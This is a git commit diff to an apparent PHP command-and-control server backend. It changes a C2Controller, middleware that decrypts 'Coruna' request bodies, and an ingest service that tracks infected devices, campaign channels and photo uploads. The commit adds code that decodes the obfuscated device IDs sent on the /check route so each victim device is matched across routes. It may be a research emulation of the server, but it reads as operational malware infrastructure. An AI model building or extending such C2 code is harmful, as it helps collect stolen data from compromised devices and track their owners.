This commit is contained in:
hashbro
2026-08-05 06:29:45 +08:00
parent 7b9bdecf53
commit 5145b6f719
6 changed files with 184 additions and 7 deletions
@@ -102,9 +102,12 @@ class C2Controller extends Controller
public function check(Request $request): Response
{
$deviceKey = $request->attributes->get('coruna_device_key')
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->upsertDevice(
$request,
array_filter([
@@ -112,7 +115,7 @@ class C2Controller extends Controller
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey ? (string) $deviceKey : null
$deviceKey
);
// Archive password = session_key || batchBaseTimestampString.
@@ -3,6 +3,7 @@
namespace App\Http\Middleware;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
@@ -59,6 +60,7 @@ class DecryptCorunaBody
}
// Device id currently only from d/f (same value in live traffic).
// /check multipart may send the hex-ascii + nibble/byte-swapped form.
if (is_array($payload)) {
foreach (['d', 'f'] as $k) {
if (! empty($payload[$k]) && is_string($payload[$k])) {
@@ -66,6 +68,17 @@ class DecryptCorunaBody
break;
}
}
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
foreach (['d', 'f'] as $k) {
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
$deviceKey = $payload['form'][$k];
break;
}
}
}
}
if (is_string($deviceKey) && $deviceKey !== '') {
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
+54 -4
View File
@@ -19,21 +19,69 @@ class IngestService
/**
* Stable device id — currently only from payload `d` / `f`.
* Other fields will be added when confirmed in live traffic.
*
* `/api/user/check` multipart sends an encoded form of the same id
* (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form.
*/
public function extractDeviceKey(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['d', 'f'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return substr($payload[$key], 0, 64);
$candidates = [];
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['d'] ?? null;
$candidates[] = $payload['form']['f'] ?? null;
}
$candidates[] = $payload['d'] ?? null;
$candidates[] = $payload['f'] ?? null;
foreach ($candidates as $value) {
if (! empty($value) && is_string($value)) {
return self::normalizeDeviceKey(substr($value, 0, 64));
}
}
return null;
}
/**
* Map `/check` multipart `d`/`f` onto the JSON-route device id.
*
* Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))).
* Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`.
* Plain 16-hex (and non-matching strings) pass through unchanged.
*/
public static function normalizeDeviceKey(?string $key): ?string
{
if ($key === null || $key === '') {
return $key;
}
if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) {
return $key;
}
$ascii = hex2bin($key);
if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) {
return $key;
}
$raw = hex2bin($ascii);
if ($raw === false || strlen($raw) !== 8) {
return $key;
}
$rev = strrev($raw);
$out = '';
for ($i = 0; $i < 8; $i++) {
$b = ord($rev[$i]);
$out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4));
}
return $out;
}
/**
* Campaign / channel id from reporting traffic.
*
@@ -70,7 +118,9 @@ class IngestService
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
$deviceKey = $deviceKey !== null
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
if (! $deviceKey) {
return null;
}